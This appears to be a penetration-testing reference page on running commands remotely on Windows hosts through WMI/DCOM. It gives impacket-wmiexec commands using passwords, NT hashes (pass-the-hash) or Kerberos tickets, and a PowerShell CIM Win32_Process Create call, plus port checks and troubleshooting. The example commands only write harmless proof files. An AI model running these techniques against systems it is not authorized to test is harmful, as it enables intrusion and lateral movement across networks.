Execute through WMI or native CIM over DCOM
Needs: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB
Shell commands
# Baseline
impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
# Kerberos with separate name and route
export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
# One command, no SMB output
impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"
One command, no SMB output
# One command, no SMB output
$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}
Remove-CimSession $Session
Verify → Verify destination process/effect and execution identity separately from captured stdout.
If it fails → Port 135 alone is insufficient. Distinguish RPC route, namespace permission, output share and local token filtering. More detail ↓
Explanation & examples
Execute through WMI or native CIM over DCOM
- USE WHEN
- A destination exposes WMI/DCOM and the identity has useful namespace/process rights
- STARTING ACCESS
- Identified authentication material, destination service reachability and a candidate authorized identity
- RESULT
- A remote process effect and, when available, retrieved command output
Recognize the clue
Investigate WMI from RPC/service inventory and exact account rights; keep process creation and SMB-based output retrieval as separate legs.
Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
Endpoint mapper: reachable
SMB output path: reachable
Dynamic RPC and WMI namespace rights: unknownMeans: Port 135 and an output route justify further checks but do not prove a WMI process can be created.
Confirm: Validate dynamic ports, DCOM/WMI authorization, native CIM transport choice and actual effect.
- After validation
- Authorized process creation plus a working observation/output path exists: use WMI/CIM.
- Ruled out in this context
- The required namespace/activation permission is denied: reject that identity's WMI route.
- Still inconclusive
- Execution may succeed with failed output retrieval; inspect a controlled effect before concluding.
Troubleshooting: Port 135 alone is insufficient. Distinguish RPC route, namespace permission, output share and local token filtering.
WMIExec creates processes through WMI/DCOM. Its normal output channel uses SMB and defaults to
ADMIN$; therefore a WMI process may run even when output retrieval fails.-nooutputor-silentcommandchanges that evidence channel.
Kerberos with separate name and route:
One command, no SMB output
Verify the harmless artifact through an independently authorized channel. No returned stdout is expected.
ReturnValue = 0and a process ID confirm process creation, not its final effect. WMI-created processes run in session 0; GUI programs will not appear on an interactive desktop.
Why it works
WMI can create a process while SMB output retrieval fails. Modern CIM defaults can use WSMan, so select the documented DCOM session option when that transport is intended.
Worked example · hypothetical
Observation: WMIExec appears to hang after process creation. Test: check the controlled effect independently and inspect SMB output access. Illustrative output: the process ran but the share read was denied. Interpretation: execution is proven; repair the output channel or use another observation.
New identity, privilege, host or route? Re-enumerate → All topic tasks →